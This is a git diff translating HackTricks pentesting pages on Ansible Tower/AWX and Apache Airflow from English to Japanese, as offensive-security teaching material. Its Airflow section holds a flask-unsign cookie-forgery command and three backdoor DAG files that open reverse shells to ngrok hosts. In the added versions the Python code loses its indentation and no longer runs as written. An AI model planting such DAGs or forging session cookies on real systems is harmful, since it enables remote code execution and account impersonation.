diff --git a/src/README.md b/src/README.md index 01b146fd1..47fcb0e39 100644 --- a/src/README.md +++ b/src/README.md @@ -6,26 +6,26 @@ Reading time: {{ #reading_time }}
-_Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_によるものです。_ > [!TIP] -> Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news. +> CI/CDおよびクラウドに関連する各**ハッキングトリック/テクニック/その他**を見つけることができるページへようこそ。これは**CTF**、**実際の**ライフ**環境**、**研究**、および**研究やニュースを読む**中で学んだものです。 ### **Pentesting CI/CD Methodology** -**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:** +**HackTricks CI/CDメソッドでは、CI/CD活動に関連するインフラストラクチャをペンテストする方法を見つけることができます。** 次のページを読んで**イントロダクション**を確認してください： [pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md) ### Pentesting Cloud Methodology -**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:** +**HackTricks Cloudメソッドでは、クラウド環境をペンテストする方法を見つけることができます。** 次のページを読んで**イントロダクション**を確認してください： [pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md) ### License & Disclaimer -**Check them in:** +**こちらで確認してください：** [HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq) @@ -34,7 +34,3 @@ _Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.co ![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg) {{#include ./banners/hacktricks-training.md}} - - - - diff --git a/src/SUMMARY.md b/src/SUMMARY.md index feae5163c..1b1d60c58 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -505,3 +505,5 @@ + + diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index b684cee3d..09f1a6674 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,17 +1,13 @@ > [!TIP] -> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +> AWSハッキングを学び、実践する：[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +> GCPハッキングを学び、実践する：[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) > >
> -> Support HackTricks +> HackTricksをサポートする > -> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください！ +> - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローしてください。** +> - **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** > >
- - - - diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index d3fbf19e5..ae47230f8 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -2,62 +2,61 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows. +**Ansible Tower** またはそのオープンソース版 [**AWX**](https://github.com/ansible/awx) は、**Ansibleのユーザーインターフェース、ダッシュボード、REST API** として知られています。**ロールベースのアクセス制御**、ジョブスケジューリング、グラフィカルなインベントリ管理を使用して、最新のUIからAnsibleインフラストラクチャを管理できます。TowerのREST APIとコマンドラインインターフェースにより、現在のツールやワークフローに簡単に統合できます。 -**Automation Controller is a newer** version of Ansible Tower with more capabilities. +**Automation Controllerは新しい** バージョンのAnsible Towerで、より多くの機能を備えています。 -### Differences +### 違い -According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows. +[**こちら**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00)によると、Ansible TowerとAWXの主な違いは受けたサポートであり、Ansible Towerにはロールベースのアクセス制御、カスタムAPIのサポート、ユーザー定義のワークフローなどの追加機能があります。 -### Tech Stack +### テクノロジースタック -- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs. -- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface. -- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data. -- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners. -- **Redis**: Redis serves as a cache and a backend for the task queue. +- **Webインターフェース**: これは、ユーザーがインベントリ、資格情報、テンプレート、ジョブを管理できるグラフィカルインターフェースです。直感的に設計されており、オートメーションジョブの状態や結果を理解するのに役立つ視覚化を提供します。 +- **REST API**: Webインターフェースでできるすべてのことは、REST APIを介しても行えます。つまり、AWX/Towerを他のシステムと統合したり、インターフェースで通常実行するアクションをスクリプト化したりできます。 +- **データベース**: AWX/Towerは、構成、ジョブ結果、その他の必要な運用データを保存するためにデータベース（通常はPostgreSQL）を使用します。 +- **RabbitMQ**: これは、AWX/Towerが異なるコンポーネント間、特にWebサービスとタスクランナー間で通信するために使用するメッセージングシステムです。 +- **Redis**: Redisは、キャッシュおよびタスクキューのバックエンドとして機能します。 -### Logical Components +### 論理コンポーネント -- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc. -- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed.. -- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job. -- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run. -- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials. -- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events. -- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc. -- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed. +- **インベントリ**: インベントリは、**ジョブ**（Ansibleプレイブック）を**実行**できる**ホスト（またはノード）のコレクション**です。AWX/Towerは、インベントリを定義およびグループ化することを許可し、AWS、Azureなどの他のシステムから**ホストリストを取得する**動的インベントリもサポートしています。 +- **プロジェクト**: プロジェクトは、**バージョン管理システム**（Gitなど）から取得した**Ansibleプレイブックのコレクション**です。必要に応じて最新のプレイブックを取得します。 +- **テンプレート**: ジョブテンプレートは、**特定のプレイブックがどのように実行されるか**を定義し、ジョブのための**インベントリ**、**資格情報**、およびその他の**パラメータ**を指定します。 +- **資格情報**: AWX/Towerは、SSHキー、パスワード、APIトークンなどの秘密を**管理および保存する**安全な方法を提供します。これらの資格情報は、プレイブックが実行されるときに必要なアクセスを持つように、ジョブテンプレートに関連付けることができます。 +- **タスクエンジン**: ここで魔法が起こります。タスクエンジンはAnsibleに基づいて構築されており、**プレイブックを実行する**責任があります。ジョブはタスクエンジンに送信され、指定されたインベントリに対して指定された資格情報を使用してAnsibleプレイブックが実行されます。 +- **スケジューラーとコールバック**: これらはAWX/Towerの高度な機能で、**ジョブを特定の時間にスケジュール**したり、外部イベントによってトリガーしたりできます。 +- **通知**: AWX/Towerは、ジョブの成功または失敗に基づいて通知を送信できます。メール、Slackメッセージ、Webhookなど、さまざまな通知手段をサポートしています。 +- **Ansibleプレイブック**: Ansibleプレイブックは、構成、デプロイメント、およびオーケストレーションツールです。自動化された再現可能な方法でシステムの望ましい状態を記述します。YAMLで記述され、プレイブックはAnsibleの宣言型自動化言語を使用して、実行する必要がある構成、タスク、およびステップを記述します。 -### Job Execution Flow +### ジョブ実行フロー -1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower. -2. **Job Initiation**: - - The user, via the Web Interface or API, initiates a job based on a **Job Template**. - - The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**. - - Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution. -3. **Job Queuing**: - - **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ. - - **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution. -4. **Job Execution**: - - The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials. - - Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**. - - As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**. -5. **Job Results**: - - Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**. - - Users can then view the results through the Web Interface or query them via the REST API. - - Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc. -6. **External Systems Integration**: - - **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more. - - **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution. - - **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times. +1. **ユーザーインタラクション**: ユーザーは、**Webインターフェース**または**REST API**を介してAWX/Towerと対話できます。これにより、AWX/Towerが提供するすべての機能にフロントエンドアクセスが提供されます。 +2. **ジョブの開始**: +- ユーザーは、WebインターフェースまたはAPIを介して、**ジョブテンプレート**に基づいてジョブを開始します。 +- ジョブテンプレートには、**インベントリ**、**プロジェクト**（プレイブックを含む）、および**資格情報**への参照が含まれています。 +- ジョブの開始時に、実行のためにジョブをキューに入れるリクエストがAWX/Towerのバックエンドに送信されます。 +3. **ジョブのキューイング**: +- **RabbitMQ**は、Webコンポーネントとタスクランナー間のメッセージングを処理します。ジョブが開始されると、RabbitMQを使用してタスクエンジンにメッセージが送信されます。 +- **Redis**は、実行待ちのキューに入れられたジョブを管理するタスクキューのバックエンドとして機能します。 +4. **ジョブの実行**: +- **タスクエンジン**がキューに入れられたジョブを取得します。タスクエンジンは、ジョブに関連付けられたプレイブック、インベントリ、および資格情報に関する必要な情報を**データベース**から取得します。 +- 関連する**プロジェクト**から取得したAnsibleプレイブックを使用して、タスクエンジンは指定された**インベントリ**ノードに対して提供された**資格情報**を使用してプレイブックを実行します。 +- プレイブックが実行されると、その実行出力（ログ、ファクトなど）がキャプチャされ、**データベース**に保存されます。 +5. **ジョブ結果**: +- プレイブックの実行が終了すると、結果（成功、失敗、ログ）が**データベース**に保存されます。 +- ユーザーは、Webインターフェースを介して結果を表示したり、REST APIを介してクエリを実行したりできます。 +- ジョブの結果に基づいて、**通知**が送信され、ユーザーや外部システムにジョブの状態を通知できます。通知はメール、Slackメッセージ、Webhookなどです。 +6. **外部システムとの統合**: +- **インベントリ**は外部システムから動的に取得でき、AWX/TowerはAWS、Azure、VMwareなどのソースからホストを取得できます。 +- **プロジェクト**（プレイブック）はバージョン管理システムから取得でき、ジョブ実行中に最新のプレイブックを使用することが保証されます。 +- **スケジューラーとコールバック**は、他のシステムやツールと統合するために使用でき、AWX/Towerが外部トリガーに反応したり、事前に決められた時間にジョブを実行したりします。 -### AWX lab creation for testing - -[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX: +### AWXラボの作成とテスト +[**ドキュメントに従って**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md)、docker-composeを使用してAWXを実行することが可能です: ```bash git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version @@ -83,61 +82,56 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser # Load demo data docker exec tools_awx_1 awx-manage create_preload_data ``` - ## RBAC ### Supported roles -The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**. +最も特権のある役割は**System Administrator**と呼ばれています。この役割を持つ者は**何でも変更することができます**。 -From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one. +**ホワイトボックスセキュリティ**レビューでは、**System Auditor role**が必要で、これにより**すべてのシステムデータを表示**できますが、変更はできません。別の選択肢として**Organization Auditor role**を取得することもできますが、前者を取得する方が良いでしょう。
-Expand this to get detailed description of available roles +利用可能な役割の詳細な説明を表示するにはここを展開してください 1. **System Administrator**: - - This is the superuser role with permissions to access and modify any resource in the system. - - They can manage all organizations, teams, projects, inventories, job templates, etc. +- これは、システム内の任意のリソースにアクセスし、変更する権限を持つスーパーユーザーの役割です。 +- 彼らはすべての組織、チーム、プロジェクト、インベントリ、ジョブテンプレートなどを管理できます。 2. **System Auditor**: - - Users with this role can view all system data but cannot make any changes. - - This role is designed for compliance and oversight. +- この役割を持つユーザーは、すべてのシステムデータを表示できますが、変更はできません。 +- この役割は、コンプライアンスと監視のために設計されています。 3. **Organization Roles**: - - **Admin**: Full control over the organization's resources. - - **Auditor**: View-only access to the organization's resources. - - **Member**: Basic membership in an organization without any specific permissions. - - **Execute**: Can run job templates within the organization. - - **Read**: Can view the organization’s resources. +- **Admin**: 組織のリソースに対する完全な制御。 +- **Auditor**: 組織のリソースへの表示専用アクセス。 +- **Member**: 特定の権限なしで組織の基本メンバーシップ。 +- **Execute**: 組織内でジョブテンプレートを実行できます。 +- **Read**: 組織のリソースを表示できます。 4. **Project Roles**: - - **Admin**: Can manage and modify the project. - - **Use**: Can use the project in a job template. - - **Update**: Can update project using SCM (source control). +- **Admin**: プロジェクトを管理および変更できます。 +- **Use**: ジョブテンプレートでプロジェクトを使用できます。 +- **Update**: SCM（ソース管理）を使用してプロジェクトを更新できます。 5. **Inventory Roles**: - - **Admin**: Can manage and modify the inventory. - - **Ad Hoc**: Can run ad hoc commands on the inventory. - - **Update**: Can update the inventory source. - - **Use**: Can use the inventory in a job template. - - **Read**: View-only access. +- **Admin**: インベントリを管理および変更できます。 +- **Ad Hoc**: インベントリ上でアドホックコマンドを実行できます。 +- **Update**: インベントリソースを更新できます。 +- **Use**: ジョブテンプレートでインベントリを使用できます。 +- **Read**: 表示専用アクセス。 6. **Job Template Roles**: - - **Admin**: Can manage and modify the job template. - - **Execute**: Can run the job. - - **Read**: View-only access. +- **Admin**: ジョブテンプレートを管理および変更できます。 +- **Execute**: ジョブを実行できます。 +- **Read**: 表示専用アクセス。 7. **Credential Roles**: - - **Admin**: Can manage and modify the credentials. - - **Use**: Can use the credentials in job templates or other relevant resources. - - **Read**: View-only access. +- **Admin**: 資格情報を管理および変更できます。 +- **Use**: ジョブテンプレートやその他の関連リソースで資格情報を使用できます。 +- **Read**: 表示専用アクセス。 8. **Team Roles**: - - **Member**: Part of the team but without any specific permissions. - - **Admin**: Can manage the team's members and associated resources. +- **Member**: チームの一部ですが、特定の権限はありません。 +- **Admin**: チームのメンバーと関連リソースを管理できます。 9. **Workflow Roles**: - - **Admin**: Can manage and modify the workflow. - - **Execute**: Can run the workflow. - - **Read**: View-only access. +- **Admin**: ワークフローを管理および変更できます。 +- **Execute**: ワークフローを実行できます。 +- **Read**: 表示専用アクセス。
{{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index aac46128c..a056de823 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -2,22 +2,21 @@ {{#include ../../banners/hacktricks-training.md}} -### Basic Information +### 基本情報 -[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications. +[**Apache Airflow**](https://airflow.apache.org) は、**データパイプラインやワークフローのオーケストレーションとスケジューリングのためのプラットフォーム**です。「オーケストレーション」という用語は、データパイプラインの文脈において、さまざまなソースからの複雑なデータワークフローを整理、調整、管理するプロセスを指します。これらのオーケストレーションされたデータパイプラインの主な目的は、処理された消費可能なデータセットを提供することです。これらのデータセットは、ビジネスインテリジェンスツール、データサイエンス、機械学習モデルなど、さまざまなアプリケーションで広く利用されており、ビッグデータアプリケーションの機能にとって基盤となっています。 -Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**. +基本的に、Apache Airflowは、**何かが起こったときにコードの実行をスケジュールすることを可能にします**（イベント、cron）。 -### Local Lab +### ローカルラボ #### Docker-Compose -You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM). +[**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) からの**docker-compose設定ファイルを使用して**、完全なapache airflow docker環境を起動できます。（MacOSを使用している場合は、docker VMに少なくとも6GBのRAMを割り当ててください）。 #### Minikube -One easy way to **run apache airflo**w is to run it **with minikube**: - +**apache airflowを実行する簡単な方法**は、**minikubeで実行することです**： ```bash helm repo add airflow-stable https://airflow-helm.github.io/charts helm repo update @@ -27,10 +26,9 @@ helm install airflow-release airflow-stable/airflow # Use this command to delete it helm delete airflow-release ``` +### Airflowの設定 -### Airflow Configuration - -Airflow might store **sensitive information** in its configuration or you can find weak configurations in place: +Airflowはその設定に**機密情報**を保存する可能性があるか、または弱い設定が存在する場合があります： {{#ref}} airflow-configuration.md @@ -38,65 +36,62 @@ airflow-configuration.md ### Airflow RBAC -Before start attacking Airflow you should understand **how permissions work**: +Airflowを攻撃する前に、**権限の仕組み**を理解する必要があります： {{#ref}} airflow-rbac.md {{#endref}} -### Attacks +### 攻撃 -#### Web Console Enumeration +#### ウェブコンソールの列挙 -If you have **access to the web console** you might be able to access some or all of the following information: +**ウェブコンソールにアクセス**できる場合、以下の情報の一部またはすべてにアクセスできる可能性があります： -- **Variables** (Custom sensitive information might be stored here) -- **Connections** (Custom sensitive information might be stored here) - - Access them in `http:///connection/list/` -- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here) -- List **users & roles** -- **Code of each DAG** (which might contain interesting info) +- **変数**（カスタムの機密情報がここに保存される可能性があります） +- **接続**（カスタムの機密情報がここに保存される可能性があります） +- `http:///connection/list/`でアクセス +- [**設定**](./#airflow-configuration)（**`secret_key`**やパスワードなどの機密情報がここに保存される可能性があります） +- **ユーザーと役割のリスト** +- **各DAGのコード**（興味深い情報が含まれている可能性があります） -#### Retrieve Variables Values +#### 変数の値を取得 -Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http:///variable/list/`.\ -Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**. +変数はAirflowに保存され、**DAG**がその値に**アクセス**できるようになります。他のプラットフォームの秘密に似ています。**十分な権限**があれば、`http:///variable/list/`のGUIでアクセスできます。\ +AirflowはデフォルトでGUIに変数の値を表示しますが、[**これ**](https://marclamberti.com/blog/variables-with-apache-airflow/)によると、**値**が**アスタリスク**として表示される**変数のリスト**を設定することが可能です。 ![](<../../images/image (164).png>) -However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\ -To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\ -Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it: +しかし、これらの**値**は**CLI**（DBアクセスが必要）、**任意のDAG**の実行、**API**を介して変数エンドポイントにアクセスすること（APIは有効化する必要があります）、さらには**GUI自体**からも**取得**できます！\ +GUIからこれらの値にアクセスするには、**アクセスしたい変数を選択**し、**アクション -> エクスポート**をクリックします。\ +別の方法は、**検索フィルタリング**を使用して**隠された値**に対して**ブルートフォース**を実行し、取得することです： ![](<../../images/image (152).png>) -#### Privilege Escalation - -If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**. +#### 権限昇格 +**`expose_config`**設定が**True**に設定されている場合、**ユーザー役割**以上の役割から**ウェブで設定を読む**ことができます。この設定には**`secret_key`**が含まれており、これにより有効なユーザーは**他のユーザーアカウントを偽装するための独自の署名付きクッキーを作成**できます。 ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` +#### DAG バックドア (Airflow ワーカーにおける RCE) -#### DAG Backdoor (RCE in Airflow worker) - -If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\ -Note that this reverse shell is going to be executed inside an **airflow worker container**: - +もし **DAG が保存されている場所** に **書き込みアクセス** がある場合、あなたは単に **一つを作成** して **リバースシェル** を送信することができます。\ +このリバースシェルは **airflow ワーカーコンテナ** 内で実行されることに注意してください： ```python import pendulum from airflow import DAG from airflow.operators.bash import BashOperator with DAG( - dag_id='rev_shell_bash', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_bash', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = BashOperator( - task_id='run', - bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1', - ) +run = BashOperator( +task_id='run', +bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1', +) ``` ```python @@ -105,75 +100,66 @@ from airflow import DAG from airflow.operators.python import PythonOperator def rs(rhost, port): - s = socket.socket() - s.connect((rhost, port)) - [os.dup2(s.fileno(),fd) for fd in (0,1,2)] - pty.spawn("/bin/sh") +s = socket.socket() +s.connect((rhost, port)) +[os.dup2(s.fileno(),fd) for fd in (0,1,2)] +pty.spawn("/bin/sh") with DAG( - dag_id='rev_shell_python', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_python', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = PythonOperator( - task_id='rs_python', - python_callable=rs, - op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} - ) +run = PythonOperator( +task_id='rs_python', +python_callable=rs, +op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} +) ``` +#### DAG バックドア (Airflow スケジューラにおける RCE) -#### DAG Backdoor (RCE in Airflow scheduler) - -If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder. - +コードの**ルートで実行されるように設定**した場合、執筆時点では、それはDAGのフォルダに配置してから数秒後に**スケジューラによって実行されます**。 ```python import pendulum, socket, os, pty from airflow import DAG from airflow.operators.python import PythonOperator def rs(rhost, port): - s = socket.socket() - s.connect((rhost, port)) - [os.dup2(s.fileno(),fd) for fd in (0,1,2)] - pty.spawn("/bin/sh") +s = socket.socket() +s.connect((rhost, port)) +[os.dup2(s.fileno(),fd) for fd in (0,1,2)] +pty.spawn("/bin/sh") rs("2.tcp.ngrok.io", 14403) with DAG( - dag_id='rev_shell_python2', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_python2', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = PythonOperator( - task_id='rs_python2', - python_callable=rs, - op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} +run = PythonOperator( +task_id='rs_python2', +python_callable=rs, +op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} ``` +#### DAGの作成 -#### DAG Creation +もしあなたが**DAGクラスター内のマシンを侵害することに成功すれば**、`dags/`フォルダーに新しい**DAGスクリプト**を作成でき、それらは**DAGクラスター内の他のマシンに複製されます**。 -If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster. +#### DAGコードインジェクション -#### DAG Code Injection +GUIからDAGを実行すると、**引数**を渡すことができます。\ +したがって、DAGが適切にコーディングされていない場合、**コマンドインジェクションに対して脆弱である可能性があります。**\ +これがこのCVEで起こったことです: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) -When you execute a DAG from the GUI you can **pass arguments** to it.\ -Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\ -That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) - -All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**. - -Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**: +**DAG内のコマンドインジェクションを探し始めるために知っておくべきこと**は、**パラメータ**が**コード`dag_run.conf.get("param_name")`**で**アクセスされる**ということです。 +さらに、同じ脆弱性が**変数**にも発生する可能性があります（十分な権限があれば、GUIで**変数の値を制御できる**ことに注意してください）。変数は**次のようにアクセスされます**: ```python from airflow.models import Variable [...] foo = Variable.get("foo") ``` - -If they are used for example inside a a bash command, you could perform a command injection. +もしそれらが例えばbashコマンド内で使用されると、コマンドインジェクションを実行することができます。 {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index 5fd8e486b..1bffb900e 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -4,112 +4,102 @@ ## Configuration File -**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.** +**Apache Airflow** は、すべての Airflow マシンに **`airflow.cfg`** という **config file** を生成します。この config file は設定情報を含み、**興味深く、機密性の高い情報を含む可能性があります。** -**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.** +**このファイルにアクセスする方法は2つあります：Airflow マシンを侵害するか、ウェブコンソールにアクセスすることです。** -Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. +**config file 内の値** **は使用されているものとは異なる可能性がある**ことに注意してください。環境変数を設定することで上書きできます。例えば、`AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`。 -If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\ -If you have **access to some machine inside the airflow env**, check the **environment**. +**ウェブサーバーの config file にアクセスできる場合**、同じページで表示されている **実際の実行設定** を確認できます。\ +**Airflow 環境内のマシンにアクセスできる場合**、**環境**を確認してください。 -Some interesting values to check when reading the config file: +config file を読む際に確認すべき興味深い値： ### \[api] -- **`access_control_allow_headers`**: This indicates the **allowed** 